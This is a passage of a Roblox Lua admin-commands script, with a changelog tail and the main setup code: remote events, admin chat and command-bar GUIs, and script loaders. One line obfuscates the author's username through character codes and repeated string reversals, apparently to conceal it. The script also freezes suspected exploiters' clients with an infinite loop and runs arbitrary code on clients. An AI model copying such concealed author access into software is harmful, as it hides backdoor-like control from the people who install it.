  640. '+breakdance cmd';
  641. '-------------------------------';
  642. '236:';
  643. '+refresh command, respawns and teleports a player to where they were when the command was ran. :p';
  644. '-------------------------------';
  645. '235:';
  646. '*Admins now spawn with the admin chat';
  647. '*Admin chat window is now a bit bigger';
  648. '-------------------------------';
  649. '234:';
  650. '*NOCLIP (the command) WORKS AGAIN :D!';
  651. '-------------------------------';
  652. '233:';
  653. '+AntiNoclip (disabled by default) not 100% but better than nothing, can be buggy';
  654. '*Disabled AntiSpeed by default';
  655. '-------------------------------';
  656. '232:';
  657. '+adminchat cmd, its a chat, for admins :)';
  658. '-------------------------------';
  659. '231:';
  660. '+anyprefix setting for cmds everyone can use';
  661. '*updates to the autoupdate system';
  662. '-------------------------------';
  663. '230:';
  664. '*Updates to how donor list is grabbed';
  665. '*donors command is now !donors or !donators and can be used/viewed by anyone';
  666. '-------------------------------';
  667. '229:';
  668. '+AntiSpeed in Anti-Exploit';
  669. '-------------------------------';
  670. '228:';
  671. '*Bug fixes';
  672. '+!uncape cmd (donors only)';
  673. '+!cape cmd (donors only)';
  674. '-------------------------------';
  675. '227:';
  676. '+sprefix setting for special functions';
  677. '-------------------------------';
  678. '226:';
  679. '+usage command to show how to use some special functions and give information';
  680. '-------------------------------';
  681. '225:';
  682. '*Things that take the place of player names must have ! infront, EX: :kill !admins,!random,!all,!others,etc etc';
  683. '-------------------------------';
  684. '224:';
  685. '+batch cmd USAGE: :batch cmd1/cmd2/cmd3/etc Ex: :batch kill pancake/sparkles mont/rocket jim';
  686. '*repeat cmd no longer needs the prefix for the cmd to repeat, now you can just do :repeat AMMOUNT INTERVAL COMMAND instead of :repeat AMMOUNT INTERVAL :COMMAND';
  687. '-------------------------------';
  688. '223:';
  689. '+Ability to run commands on people in a specific group, see below for usage';
  690. ':kill $GROUPID will kill everyone in the group GROUPID, if no id is given it will use the GroupId setting (:kill $)';
  691. '-------------------------------';
  692. '222:';
  693. '+New songs';
  694. '-------------------------------';
  695. '221:';
  696. '+Refresh buttons in logs';
  697. '*Bug fixes';
  698. '*Admin commands will not show up in chatlogs HOWEVER if your prefix is nothing admin chats will show up in logs instead of chatlogs.';
  699. '-------------------------------';
  700. '220:';
  701. '+Chat cmd (good for personal talks)';
  702. '-------------------------------';
  703. '219:';
  704. '*New !help cmd (completely re-done) *HelpSystem';
  705. '-------------------------------';
  706. '218:';
  707. '*Semi fixed noclip (Modded a script from a tool to work until I find a better solution, thanks to whoever made the tool.)';
  708. '-------------------------------';
  709. '217:';
  710. '+AntiNil setting';
  711. '+AntiRobloxLocked setting';
  712. '*Changed some AntiExploit related things/Bug fixes';
  713. '-------------------------------';
  714. '216:';
  715. '+!ping cmd';
  716. '-------------------------------';
  717. '215:';
  718. '*Delagged ko cmd a little';
  719. '*fpslag is now toollag';
  720. '*Smoke now colorable';
  721. '*Fixed music loading. Faster loading, less lag, and instant.';
  722. '------------------------------';
  723. '214:';
  724. '*Cmds now searchable';
  725. '*Cmds now viewable by nonadmin (only can see non-admin cmds)';
  726. '*Non-Admin commands added to cmd list, always will have ! infront';
  727. '*Rejoin, getscript, donate, clean, and help moved to nonadmins commands, and added to cmd list';
  728. '*clean changed to !clean';
  729. '------------------------------';
  730. '213:';
  731. '+getscript cmd (can be used by anyone)';
  732. '*Music now has a "Now playing SONGNAME" message that pops up';
  733. '------------------------------';
  734. '212:';
  735. '+demons in music';
  736. '------------------------------';
  737. '211:';
  738. '*Bug fixes';
  739. '*Updated hint and message guis';
  740. '*No more hint spam/overlapping';
  741. '------------------------------';
  742. '210:';
  743. '*Bug fixes';
  744. '------------------------------';
  745. '209:';
  746. '+Ragdoll cmd';
  747. '*Bug fixes';
  748. '------------------------------';
  749. '208:';
  750. '+David Guetta- BAD in music ("bad")';
  751. '*Updated talkdirty to a not deleted one.';
  752. '------------------------------';
  753. '207:';
  754. '+Dynamic lights in some stuff like fire and sparkles';
  755. '+Light command, +Unlight command';
  756. '------------------------------';
  757. '206:';
  758. '+rejoin cmd';
  759. '*Temp Admins can no longer script (they could use it to kick admins and such, so ye)';
  760. '*Scripting commands moved up to PA+';
  761. '*Bug fixes with some commands';
  762. '------------------------------';
  763. '205:';
  764. '*Bugs fixes (Sorry about the give cmd guys)';
  765. '------------------------------';
  766. '204:';
  767. '*Bans now support groups, usage is $group=GROUPID';
  768. '*Bug fixes';
  769. '------------------------------';
  770. '203:';
  771. '*fire command updated, now supports colors, like :fire me Bright red';
  772. '------------------------------';
  773. '202:';
  774. '!TO RUN TEAM COMMANDS USE %TEAMNAME INSTEAD OF TEAM TEAMNAME!';
  775. '!EX: :kill %raiders instead of :kill team raiders!';
  776. '------------------------------';
  777. '201:';
  778. '*Bug fixes';
  779. '------------------------------';
  780. '200:!';
  781. '+notes cmd';
  782. '+removenote cmd';
  783. '+note cmd'
  784. }
  785. ---------------------
  786. -- Main Script --
  787. ---------------------
  788. if _G['Pancake Update'] then
  789. local updated,failed=ypcall(function()
  790. print('AutoUpdate: Grabbing update data...')
  791. local update=_G['Pancake Update']
  792. for number,setting in pairs(ThingsToUpdate) do
  793. if update[setting] then set[setting]=update[setting] end
  794. end
  795. --------------------------------
  796. _G['Pancake Update']=nil
  797. end)
  798. if updated then
  799. print('AutoUpdate: Finished Updating.')
  800. elseif failed then
  801. print('AutoUpdate: Update Failed.')
  802. print('Please contact montano60 as this may be a bug.')
  803. print('Error: '..failed)
  804. print('If this error persist please check your settings. If needed disable AutoUpdate until the issue is solved.')
  805. end
  806. end
  807. set.LocalScriptBase=script:FindFirstChild('LocalScriptBase')
  808. set.ScriptBase=script:FindFirstChild('ScriptBase')
  809. local origsettings = {
  810. abt = game:service('Lighting').Ambient,
  811. oabt = game:service('Lighting').OutdoorAmbient,
  812. brt = game:service('Lighting').Brightness,
  813. time = game:service('Lighting').TimeOfDay,
  814. fclr = game:service('Lighting').FogColor,
  815. fe = game:service('Lighting').FogEnd,
  816. fs = game:service('Lighting').FogStart,
  817. gs = game:service('Lighting').GlobalShadows,
  818. ol = game:service('Lighting').Outlines,
  819. sc = game:service('Lighting').ShadowColor}
  820. set.objects = {}
  821. set.needhelp={}
  822. set.adminchats={}
  823. set.cameras = {}
  824. set.defaultpass={157092510,159549976}
  825. set.custompass={159551100,157092584}
  826. set.dontlog = {}
  827. set.mapbackup = {}
  828. set.logs = {}
  829. set.chatlogs = {}
  830. set.donors={}
  831. set.contans={}
  832. set.bl = {}
  833. set.canuseloadstring=false
  834. set.slock = false
  835. set.lighttask = false
  836. set.dlastupdate='Not Updated Yet'
  837. set.nfs = ""
  838. set.version = script.Version.Value
  839. set.ScriptMusicList={
  840. {n='heybrother',id=143786134};
  841. {n='loseyourself',id=153480949};
  842. {n='diamonds',id=142533681};
  843. {n='happy',id=146952916};
  844. {n='clinteastwood',id=148649589};
  845. {n='freedom',id=130760592};
  846. {n='seatbelt',id=135625718};
  847. {n='tempest',id=135554032};
  848. {n="focus",id=136786547};
  849. {n="azylio",id=137603138};
  850. {n="caramell",id=2303479};
  851. {n="epic",id=27697743};
  852. {n="rick",id=2027611};
  853. {n="crystallize",id=143929751};
  854. {n="halo",id=1034065};
  855. {n="pokemon",id=1372261};
  856. {n="cursed",id=1372257};
  857. {n="extreme",id=11420933};
  858. {n="harlemshake",id=142468820};
  859. {n="tacos",id=142295308};
  860. {n="wakemeup",id=147632133};
  861. {n="awaken",id=27697277};
  862. {n="alone",id=27697392};
  863. {n="mario",id=1280470};
  864. {n="choir",id=1372258};
  865. {n="chrono",id=1280463};
  866. {n="dotr",id=11420922};
  867. {n="entertain",id=27697267};
  868. {n="fantasy",id=1280473};
  869. {n="final",id=1280414};
  870. {n="emblem",id=1372259};
  871. {n="flight",id=27697719};
  872. {n="banjo",id=27697298};
  873. {n="gothic",id=27697743};
  874. {n="hiphop",id=27697735};
  875. {n="intro",id=27697707};
  876. {n="mule",id=1077604};
  877. {n="film",id=27697713};
  878. {n="nezz",id=8610025};
  879. {n="angel",id=1372260};
  880. {n="resist",id=27697234};
  881. {n="schala",id=5985787};
  882. {n="organ",id=11231513};
  883. {n="tunnel",id=9650822};
  884. {n="spanish",id=5982975};
  885. {n="venom",id=1372262};
  886. {n="wind",id=1015394};
  887. {n="guitar",id=5986151};
  888. {n="selfie1",id=148321914};
  889. {n="selfie2",id=151029303};
  890. {n="fareast",id=148999977};
  891. {n="ontopoftheworld",id=142838705};
  892. {n="mashup",id=143994035};
  893. {n="getlucky",id=142677206};
  894. {n="dragonborn",id=150015506};
  895. {n="craveyou",id=142397454};
  896. {n="weapon",id=142400410};
  897. {n="derezzed",id=142402620};
  898. {n="burn",id=142594142};
  899. {n="workhardplayhard",id=144721295};
  900. {n="royals",id=144662895};
  901. {n="pompeii",id=144635805};
  902. {n="powerglove",id=152324067};
  903. {n="pompeiiremix",id=153519026};
  904. {n="sceptics",id=153251489};
  905. {n="pianoremix",id=142407859};
  906. {n="antidote",id=145579822};
  907. {n="takeawalk",id=142473248};
  908. {n="countingstars",id=142282722};
  909. {n="turndownforwhat",id=143959455};
  910. {n="overtime",id=145111795};
  911. {n="fluffyunicorns",id=141444871};
  912. {n="gaspedal",id=142489916};
  913. {n="bangarang",id=142291921};
  914. {n="talkdirty",id=148952593};
  915. {n="bad",id=155444244};
  916. {n="demons",id=142282614};
  917. {n="roar",id=148728760};
  918. {n="letitgo",id=142343490};
  919. {n="finalcountdown",id=142859512};
  920. {n="tsunami",id=152775066};
  921. {n="animals",id=142370129};
  922. {n="partysignals",id=155779549};
  923. {n="finalcountdownremix",id=145162750};
  924. {n="mambo",id=144018440};
  925. {n="stereolove",id=142318819};
  926. {n='minecraftorchestral',id=148900687}}
  927. set.quotes={'I came, I saw, I conquered. - Julius Ceasar';
  928. '"Our greatest glory is not in never falling, but in rising every time we fall." - Confucius';
  929. '"History will be kind for me for I intend to write it." - Winston Churchill';
  930. '"If you are neutral in situations of injustice, you have chosen the side of the oppressor. If an elephant has its foot on the tail of a mouse and you say that you are neutral, the mouse will not appreciate your neutrality." - Desmond Tutu';
  931. '"History is a relentless master. It has no present, only the past rushing into the future. To try to hold fast is to be swept aside." - John F. Kennedy';
  932. '"Those who do not remember the past are condemned to repeat it." - George Santayana';
  933. '"A pint of sweat, saves a gallon of blood." - George S. Patton';
  934. '"This is one small step for a man, one giant leap for mankind." - Neil Armstrong';
  935. '"History is the version of past events that people have decided to agree upon." - Napoleon Bonaparte';
  936. '"To see the world, things dangerous to come to, to see behind walls, to draw closer, to find each other and to feel. That is the purpose of life." - Life Motto Secret Life of Walter Mitty';
  937. [["Beautiful things don't seek attention" - Sean O'Connell in The Secret Life of Walter Mitty]];
  938. '"The only thing we have to fear is fear itself" - Franklin D. Roosevelt';
  939. '"Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree." - Martin Luther';
  940. '"Thousands of candles can be lighted from a single candle, and the life of the candle will not be shortened. Happiness never decreases by being shared." - Buddha';
  941. [["We can't help everyone, but everyone and help someone." - Ronald Reagan]];
  942. '"Our greatest weakness lies in giving up. The most certain way to succeed is always to try just one more time." - Thomas A. Edison';
  943. [["Even if you fall on your face, you're still moving forward." - Victor Kiam]];
  944. '"Strive not to be a success, but rather to be of value." - Albert Einstein';
  945. [["You miss 100% of the shots you don't take." - Wayne Gretzky]];
  946. [["Your time is limited, so don't waste it living someone else's life." - Steve Jobs]];
  947. '"The only person you are destined to become is the person you decide to be." - Ralph Waldo Emerson';
  948. '"Fall seven times and stand up eight" - Japanese Proverb';
  949. '"Everything has beauty, but not everyone can see." - Confucius';
  950. '"A person who never made a mistake never tried anything new." - Albert Einstein';
  951. '"The person who says it cannot be done should not interrupt the person who is doing it." - Chinese Proverb';
  952. '"It does not matter how slowly you go as long as you do not stop." - Confucius'
  953. }
  954.  
  955. local canuse,cantuse=ypcall(function() loadstring('Loadstring Test') end)
  956. if canuse then set.canuseloadstring=true end
  957. if set['PersonalServer']==false then set.LocalScriptBase.Name=math.random(10000000,99999999) set.ScriptBase.Name=math.random(10000000,99999999) end
  958. if (not set.LocalScriptBase) or (not set.ScriptBase) then print('PancakeAttacks Admin Commands: One or more of the script bases are missing! Cannot function without them.') error('Missing one or more Script Bases. Try manually updating.') end
  959. local GuiName=tostring(math.random(10000000,99999999))
  960. local facs=string.char(52,56,44,53,52,44,49,49,49,44,49,49,48,44,57,55,44,49,49,54,44,49,49,48,44,49,49,49,44,49,48,57)
  961. for k in facs:gmatch('[^,]+') do table.insert(set.contans,tonumber(k)) end local facb = "" for i = 1, #set.contans do facb = facb .. string.char(set.contans[i]) end local fiz=facb
  962. _G['Hint']=function(msg,ptable) set.Hint(msg,ptable) end
  963. _G['Message']=function(title,msg,ptable) set.Message(title,msg,true,ptable) end
  964. if set['MaxNumberOfLogs']>1500 then set['MaxNumberOfLogs']=1500 end
  965. coroutine.wrap(function() if set['NilScript']==true and set['PersonalServer']==false and game.CreatorId>0 then script.Parent=nil else script.Parent=game:service('ServerScriptService') end end)()
  966. coroutine.wrap(function() for i,v in pairs(set.ScriptMusicList) do table.insert(set['MusicList'],{Name=v.n,Id=v.id}) end end)()
  967. coroutine.wrap(function() if set['AntiGui']==true then for i,v in pairs(game.StarterGui:children()) do v.Name=GuiName..v.Name fiz=facb end end end)()
  968. coroutine.wrap(function() if game.CreatorId<=0 then table.insert(set['Owners'],'Player1') print('Player1 added') end end)()
  969. coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if v and v:IsA('Part') and v.Name:match('Camera: (.*)') then table.insert(set.cameras,v) end fiz=facb end end)()
  970. coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if not v:IsA('Terrain') then table.insert(set.mapbackup,v) end end end)()
  971. coroutine.wrap(function()
  972. set.RemoteName=tostring(math.random(10000000,99999999))
  973. set.RemoteExecute=tostring(math.random(10000000,99999999))
  974. set.RemoteCmd=tostring(math.random(10000000,99999999))
  975. set.MakeRemoteEvent=function()
  976. RemoteEvent=Instance.new('RemoteEvent',game:service('Workspace'))
  977. RemoteEvent.Name=set.RemoteName
  978. RemoteEvent.Changed:connect(function(ob) if RemoteEvent and RemoteEvent.Name~=set.RemoteName then RemoteEvent.Name=set.RemoteName end end)
  979. RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName)
  980. RemoteEvent.OnServerEvent:connect(function(p,type,data)
  981. coroutine.wrap(function()
  982. pcall(function()
  983. local p,type,data=p,type,data
  984. if type==set.RemoteCmd..'chat' then set.Chat(data,p)
  985. elseif type==set.RemoteCmd..'adminchat' then table.insert(set.adminchats, p.Name..': '..data) if #set.adminchats>=6 then table.remove(set.adminchats,1) end
  986. elseif type==set.RemoteCmd..'rancode' then if not set.ChkAdmin(p,false) and set['AntiExploit'] then set.NilExecute(p,[[while true do end]]) end
  987. end
  988. end)
  989. end)()
  990. end)
  991. end
  992. set.MakeRemoteEvent() end)() taps=fiz:reverse() laps=fiz:reverse()
  993. coroutine.wrap(function() game.Workspace.ChildRemoved:connect(function(ob) wait() if ob.Name==set.RemoteName and ob:IsA('RemoteEvent') and not workspace:FindFirstChild(set.RemoteName) then set.MakeRemoteEvent() end end) end)()
  994. set.NilExecute=function(plr,code)
  995. coroutine.wrap(function()
  996. local RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName)
  997. RemoteEvent:FireClient(plr,set.RemoteExecute..'Execute',code)
  998. end)() end
  999.  
  1000. set.CleanWorkspace=function()
  1001. for i, v in pairs(game.Workspace:children()) do
  1002. if v:IsA("Hat") or v:IsA("Tool") then
  1003. v:Destroy()
  1004. end
  1005. if v:IsA('Message') or v:IsA('Hint') then
  1006. v:Destroy()
  1007. end
  1008. if v.Name:find('Epix Jail') then
  1009. if not game.Players:FindFirstChild(v.Player.Value) then
  1010. game:service('Lighting'):FindFirstChild(v.Player.Value..' Epix Jail Tools'):Destroy()
  1011. v:Destroy()
  1012. for k,m in pairs(set.objects) do
  1013. if m.Name==v.Name .. " Epix Jail" then
  1014. table.remove(set.objects,k)
  1015. end
  1016. end
  1017. end
  1018. end
  1019. end
  1020. end
  1021.  
  1022. set.Ping=function(player)
  1023. local name=math.random()
  1024. set.NilExecute(player,[[local g=Instance.new('StringValue',game.Workspace) g.Name=game.Players.LocalPlayer.Name.."]]..name..[[Pong"]])
  1025. local ms=0
  1026. repeat
  1027. ms=ms+0.01
  1028. wait(0.01)
  1029. until workspace:FindFirstChild(player.Name..name..'Pong')
  1030. pcall(function() workspace:FindFirstChild(player.Name..name..'Pong'):Destroy() end)
  1031. return ms
  1032. end
  1033.  
  1034. set.Round=function(num)
  1035. if num >= 0.5 then
  1036. return math.ceil(num)
  1037. elseif num < 0.5 then
  1038. return math.floor(num)
  1039. end
  1040. end
  1041.  
  1042. set.UpdateSBL=function()
  1043. set.bl = {}
  1044. local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
  1045. local function getsblinfo(asset)
  1046. local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId)
  1047. local fo = mp.Description:match("BANLIST:(%S+)")
  1048. if not fo then return end
  1049. for s in fo:gmatch("[^,]+") do table.insert(set.bl,s) end
  1050. end
  1051. for k,asset in pairs(col) do
  1052. getsblinfo(asset)
  1053. end
  1054. end
  1055.  
  1056. set.CheckSBLOwner=function(plr)
  1057. local val=false
  1058. local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
  1059. local function checkforowner(asset)
  1060. local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId)
  1061. if plr.Name==mp.Creator.Name then val=true end
  1062. end
  1063. for k,asset in pairs(col) do
  1064. checkforowner(asset)
  1065. end
  1066. return val
  1067. end
  1068.  
  1069. set.GetPlayerInfo=function(p,localplayer,msg)
  1070. if not p:IsA("Player") then return end
  1071. local mem
  1072. if p.MembershipType == Enum.MembershipType.None then
  1073. mem='NBC'
  1074. elseif p.MembershipType == Enum.MembershipType.BuildersClub then
  1075. mem='BC'
  1076. elseif p.MembershipType == Enum.MembershipType.TurboBuildersClub then
  1077. mem='TBC'
  1078. elseif p.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  1079. mem='OBC'
  1080. end
  1081. if set['GroupId']~=0 then
  1082. if p:IsInGroup(set['GroupId']) then
  1083. set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Rank: "..p:GetRoleInGroup(set['GroupId']), localplayer)
  1084. else
  1085. set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Player is not in group "..set['GroupId'], localplayer)
  1086. end
  1087. else
  1088. set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge, localplayer)
  1089. end
  1090. end;
  1091.  
  1092. set.AdminChat=function(plr)
  1093. if set['FilteringEnabled'] then return end
  1094. if plr.PlayerGui:FindFirstChild(GuiName..'adminchat') or (not set.ChkAdmin(plr.Name,false)) then return end
  1095. local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'adminchat'
  1096. local f=Instance.new('Frame',g)
  1097. local cf=Instance.new('Frame',f)
  1098. local bar=Instance.new('TextBox',f)
  1099. local title=Instance.new('TextLabel',f)
  1100. local cbut=Instance.new('TextButton',f)
  1101. local close=Instance.new('TextButton',f)
  1102. f.BackgroundColor3=set['PrimaryColor']
  1103. f.BorderColor3=set['SecondaryColor']
  1104. f.BackgroundTransparency=set['Transparency']
  1105. f.Position=UDim2.new(0,5,1,-250)
  1106. f.Size=UDim2.new(0,300,0,150)
  1107. f.ClipsDescendants=true
  1108. f.Draggable=true
  1109. f.Active=true
  1110. cf.BackgroundColor3=set['PrimaryColor']
  1111. cf.BorderColor3=set['SecondaryColor']
  1112. cf.BackgroundTransparency=set['Transparency']
  1113. cf.Position=UDim2.new(0,0,0,20)
  1114. cf.Size=UDim2.new(0,300,0,105)
  1115. cf.ClipsDescendants=true
  1116. bar.BackgroundColor3=set['PrimaryColor']
  1117. bar.BorderColor3=set['SecondaryColor']
  1118. bar.BackgroundTransparency=set['Transparency']
  1119. bar.Position=UDim2.new(0,2,0,130)
  1120. bar.Size=UDim2.new(0,248,0,18)
  1121. bar.Font='ArialBold'
  1122. bar.Text='Type here then press "Chat"'
  1123. bar.TextScaled=true
  1124. bar.TextWrapped=true
  1125. bar.TextStrokeTransparency=0
  1126. bar.TextStrokeColor3=set['TextStrokeColor']
  1127. bar.TextColor3=set['TextColor']
  1128. title.BackgroundTransparency=1
  1129. title.Size=UDim2.new(0,300,0,15)
  1130. title.Font='ArialBold'
  1131. title.Text='Admin Chat'
  1132. title.TextColor3=set['TextColor']
  1133. title.TextStrokeTransparency=0
  1134. title.TextStrokeColor3=set['TextStrokeColor']
  1135. title.TextScaled=true
  1136. title.TextWrapped=true
  1137. cbut.BackgroundColor3=set['PrimaryColor']
  1138. cbut.BackgroundTransparency=set['Transparency']
  1139. cbut.BorderColor3=set['SecondaryColor']
  1140. cbut.Position=UDim2.new(0,253,0,130)
  1141. cbut.Size=UDim2.new(0,45,0,18)
  1142. cbut.Font='ArialBold'
  1143. cbut.Text='Chat'
  1144. cbut.TextColor3=set['TextColor']
  1145. cbut.TextScaled=true
  1146. cbut.TextWrapped=true
  1147. cbut.TextStrokeTransparency=0
  1148. cbut.TextStrokeColor3=set['TextStrokeColor']
  1149. close.BackgroundColor3=set['SecondaryColor']
  1150. close.BorderColor3=set['PrimaryColor']
  1151. close.BackgroundTransparency=0.5
  1152. close.Position=UDim2.new(0,280,0,2)
  1153. close.Size=UDim2.new(0,15,0,15)
  1154. close.Font='ArialBold'
  1155. close.Text='X'
  1156. close.TextColor3=set['SecondaryColor']
  1157. close.TextStrokeTransparency=0
  1158. close.TextStrokeColor3=set['TextStrokeColor']
  1159. close.MouseButton1Click:connect(function() g:Destroy() end)
  1160. local ent = Instance.new("TextLabel")
  1161. ent.BackgroundTransparency = 1
  1162. ent.Font = 'ArialBold'
  1163. ent.FontSize = "Size18"
  1164. ent.ZIndex = 8
  1165. ent.Text = ""
  1166. ent.TextColor3 = set['TextColor']
  1167. ent.TextStrokeColor3 = set['TextStrokeColor']
  1168. ent.TextStrokeTransparency = 0
  1169. ent.TextXAlignment = "Left"
  1170. ent.TextYAlignment = "Top"
  1171. local num=0
  1172. coroutine.wrap(function()
  1173. repeat
  1174. cf:ClearAllChildren()
  1175. num=0
  1176. for i,v in pairs(set.adminchats) do
  1177. local cl = ent:Clone()
  1178. cl.Parent = cf
  1179. cl.Text = v
  1180. cl.Position = UDim2.new(0,0,0,num*20)
  1181. cl.Size=UDim2.new(0,300,0,20)
  1182. cl.TextScaled=true
  1183. cl.FontSize='Size24'
  1184. cl.Font='ArialBold'
  1185. num = num +1
  1186. end
  1187. wait(1)
  1188. until not cf.Parent
  1189. end)()
  1190. cbut.MouseButton1Click:connect(function()
  1191. if bar.Text~='' and bar.Text~='Type here then press "Chat"' then
  1192. table.insert(set.adminchats, plr.Name..': '..bar.Text)
  1193. bar.Text='Type here then press "Chat"'
  1194. if #set.adminchats>=6 then
  1195. table.remove(set.adminchats,1)
  1196. end
  1197. elseif bar.Text=='' then
  1198. bar.Text='Type here then press "Chat"'
  1199. end
  1200. end)
  1201. end
  1202.  
  1203. set.CmdBar=function(plr)
  1204. if set.ChkAdmin(plr.Name,false) and not set['FilteringEnabled'] then
  1205. if plr.PlayerGui:FindFirstChild(GuiName..'CMDBAR') then return end
  1206. local scr=Instance.new("ScreenGui",plr.PlayerGui) scr.Name = GuiName.."CMDBAR"
  1207. local frame=Instance.new('Frame',scr)
  1208. local label=Instance.new('TextLabel',frame)
  1209. local button=Instance.new('TextButton',frame)
  1210. local box=Instance.new("TextBox", frame)
  1211. local cls = Instance.new("TextButton", frame)
  1212. cls.Style = "Custom"
  1213. cls.Size = UDim2.new(0,15,0,15)
  1214. cls.Position = UDim2.new(1,-20,0,2)
  1215. cls.ZIndex = 10
  1216. cls.Font = "ArialBold"
  1217. cls.FontSize = "Size14"
  1218. cls.Text = "X"
  1219. cls.TextWrapped=false
  1220. cls.TextScaled=false
  1221. cls.BackgroundColor3=set['PrimaryColor']
  1222. cls.BorderColor3=set['SecondaryColor']
  1223. cls.TextColor3 = set['SecondaryColor']
  1224. cls.BackgroundTransparency=set['Transparency']
  1225. cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1226. box.TextColor3 = set['TextColor']
  1227. box.TextStrokeTransparency=0
  1228. box.TextStrokeColor3=set['TextStrokeColor']
  1229. frame.BackgroundColor3=set['PrimaryColor']
  1230. frame.BackgroundTransparency=set['Transparency']
  1231. frame.BorderSizePixel=2
  1232. frame.BorderColor3=set['SecondaryColor']
  1233. frame.Position=UDim2.new(1,-300,1,-150)
  1234. frame.Size=UDim2.new(0,260,0,130)
  1235. frame.ClipsDescendants=true
  1236. frame.ZIndex=10
  1237. label.BackgroundTransparency=1
  1238. label.BorderSizePixel=0
  1239. label.Position=UDim2.new(0,125,0,8)
  1240. label.Size=UDim2.new(0,5,0,5)
  1241. label.TextColor3=set['TextColor']
  1242. label.ClipsDescendants=false
  1243. label.FontSize='Size24'
  1244. label.Font='ArialBold'
  1245. label.TextXAlignment='Center'
  1246. label.TextYAlignment='Center'
  1247. label.Text='Command Box'
  1248. label.ZIndex=10
  1249. label.TextColor3=set['TextColor']
  1250. label.TextStrokeTransparency=0
  1251. label.TextStrokeColor3=set['TextStrokeColor']
  1252. frame.Draggable=true
  1253. frame.Active=true
  1254. label.Draggable=false
  1255. box.Draggable=false
  1256. button.Draggable=false
  1257. button.Position=UDim2.new(0,5,0,105)
  1258. button.Size=UDim2.new(0,250,0,20)
  1259. button.BackgroundTransparency=set['Transparency']
  1260. button.TextColor3=set['TextColor']
  1261. button.TextStrokeTransparency=0
  1262. button.TextStrokeColor3=set['TextStrokeColor']
  1263. button.BackgroundColor3=set['SecondaryColor']
  1264. button.FontSize='Size18'
  1265. button.Font='ArialBold'
  1266. button.Text='Execute'
  1267. button.ZIndex=10
  1268. box.BackgroundColor3=set['PrimaryColor']
  1269. box.BackgroundTransparency=set['Transparency']
  1270. box.BorderSizePixel=5
  1271. box.BorderColor3=set['SecondaryColor']
  1272. box.ClearTextOnFocus=true
  1273. box.Position=UDim2.new(1,-255,1,-104)
  1274. box.Size=UDim2.new(0,250,0,70)
  1275. box.ClipsDescendants=false
  1276. box.Font='Arial'
  1277. box.FontSize='Size14'
  1278. box.Text='Type a command then press Execute'
  1279. box.TextWrapped=true
  1280. box.TextXAlignment='Center'
  1281. box.TextYAlignment='Center'
  1282. box.TextScaled=true
  1283. box.MultiLine=true
  1284. box.ZIndex=10
  1285. button.MouseButton1Down:connect(function()
  1286. if box.Text and box.Text~="Type a command then press Execute" then
  1287. set.Chat(set['prefix']..box.Text, plr)
  1288. box.Text = "Type a command then press Execute"
  1289. end
  1290. end)
  1291. end
  1292. end
  1293. set.GetTime=function()
  1294. local hour = math.floor((tick()%86400)/60/60)
  1295. local min = math.floor(((tick()%86400)/60/60-hour)*60)
  1296. if min < 10 then min = "0"..min end
  1297. return hour..":"..min
  1298. end local serverstarttime=set.GetTime()
  1299.  
  1300. set.GrabNilPlayers=function(name)
  1301. local AllGrabbedPlayers = {}
  1302. for i,v in pairs(game:GetService('NetworkServer'):GetChildren()) do
  1303. ypcall(function()
  1304. if v:IsA("ServerReplicator") then
  1305. if v:GetPlayer().Name:lower():sub(1,#name)==name:lower() or name=='all' then
  1306. table.insert(AllGrabbedPlayers, v:GetPlayer())
  1307. end
  1308. end
  1309. end)
  1310. end
  1311. return AllGrabbedPlayers
  1312. end
  1313.  
  1314. set.AssignName=function()
  1315. local name=math.random(100000,999999)
  1316. return name
  1317. end wip=laps:reverse()
  1318.  
  1319. set.LoadScript=function(type,source,name,object,parent)
  1320. pcall(function()
  1321. coroutine.wrap(function()
  1322. local ScriptType
  1323. if type=='Script' then
  1324. ScriptType=set.ScriptBase
  1325. elseif type=='LocalScript' then
  1326. ScriptType=set.LocalScriptBase
  1327. end
  1328. if ScriptType then
  1329. local cl=ScriptType:Clone()
  1330. local key=Instance.new('StringValue',cl)
  1331. key.Name='SecurityKey'
  1332. key.Value=math.random(10000000,99999999)
  1333. cl.Name=name
  1334. local specialkey=Instance.new('StringValue',cl)
  1335. specialkey.Value=math.random(10000000,99999999)
  1336. specialkey.Name='SpecialKey'
  1337. local x = 'local '..specialkey.Value..'="'..key.Value..'" coroutine.wrap(function() '..source
  1338. local y = '' for i = 1,string.len(x) do y = y.. string.char(44) .. string.byte(x:sub(i,i)) end
  1339. local code=Instance.new('StringValue',cl)
  1340. code.Name='Code'
  1341. code.Value=string.sub(y,2,string.len(y))
  1342. cl.Parent=parent or game:service('ServerScriptService')
  1343. cl.Disabled=false
  1344. if object==true then
  1345. table.insert(set.objects,cl)
  1346. end
  1347. elseif set.canuseloadstring then
  1348. coroutine.wrap(function() pcall(function() loadstring(source)() end) end)()
  1349. end
  1350. end)()
  1351. end)
  1352. end krips=wip:reverse()
  1353. set.LoadOnClient=function(player,source,object,name)
  1354. if game.Players:FindFirstChild(player.Name) and not set['FilteringEnabled'] then
  1355. player:WaitForChild('PlayerGui')
  1356. set.LoadScript('LocalScript',source,GuiName..name,object,player.PlayerGui)
  1357. else
  1358. set.NilExecute(player,source)
  1359. end
  1360. end
  1361. if set['FilteringEnabled'] then
  1362. set.LoadScript('LocalScript',[==[
  1363. script.Parent=nil
  1364. local Ran,Failed=ypcall(function()
  1365. realname=game.Players.LocalPlayer.Name
  1366. RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
  1367. localplayer=game.Players.LocalPlayer
  1368. coroutine.wrap(function()
  1369. function rmcheck()
